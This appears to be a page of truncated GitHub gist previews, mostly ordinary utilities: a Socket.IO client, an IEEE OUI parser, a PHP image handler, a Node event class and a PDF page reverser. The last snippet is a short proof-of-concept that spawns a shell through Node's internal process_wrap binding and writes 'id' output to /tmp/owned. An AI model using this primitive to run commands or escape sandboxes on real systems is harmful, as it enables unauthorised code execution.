This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var i = 0; | |
var socket = io.connect('http://127.0.0.1:8000'); | |
/* | |
* data = [{'log':'path/to/log1','result':'/path/to/result1'},{'log':'path/to/log2','result':'/path/to/result2'}]; | |
*/ | |
//Asking for files content | |
var send = function(){ | |
//Asking for the path/to/files1 and then path/to/files2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: UTF-8 -*- | |
import urllib2, re | |
def ParseIEEEOui(url = "http://standards.ieee.org/develop/regauth/oui/oui.txt"): | |
req = urllib2.Request(url) | |
res = urllib2.urlopen(req) | |
data = res.read() | |
IEEOUI = [] | |
for line in data.split('\n'): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* This exemple shows how to parse base64 encoded images (submitted using Summernote), save them locally | |
* and replace the 'src' attribute in the submited HTML content | |
* | |
**/ | |
use Intervention\Image\ImageManagerStatic as Image; | |
class PostController { | |
public function edit(){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var EventEmitter = require('events').EventEmitter; | |
var util = require('util'); | |
var log = function(str){ | |
var t = Date.now(); | |
console.log(t + " " + str); | |
} | |
var Call = function (){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
This script reverse the pages of a PDF document and save it to a new file. | |
Dependancy : | |
- "PDFRW" | |
Usage : | |
- `pip install pdfrw` | |
- `python reverse.py file.pdf` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Process = process.binding('process_wrap').Process; | |
var proc = new Process(); | |
proc.onexit = function(a,b) {}; | |
var env = process.env; | |
var env_ = []; | |
for (var key in env) env_.push(key+'='+env[key]); | |
proc.spawn({file:'/bin/sh',args:['sh','-c','id > /tmp/owned'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]}); |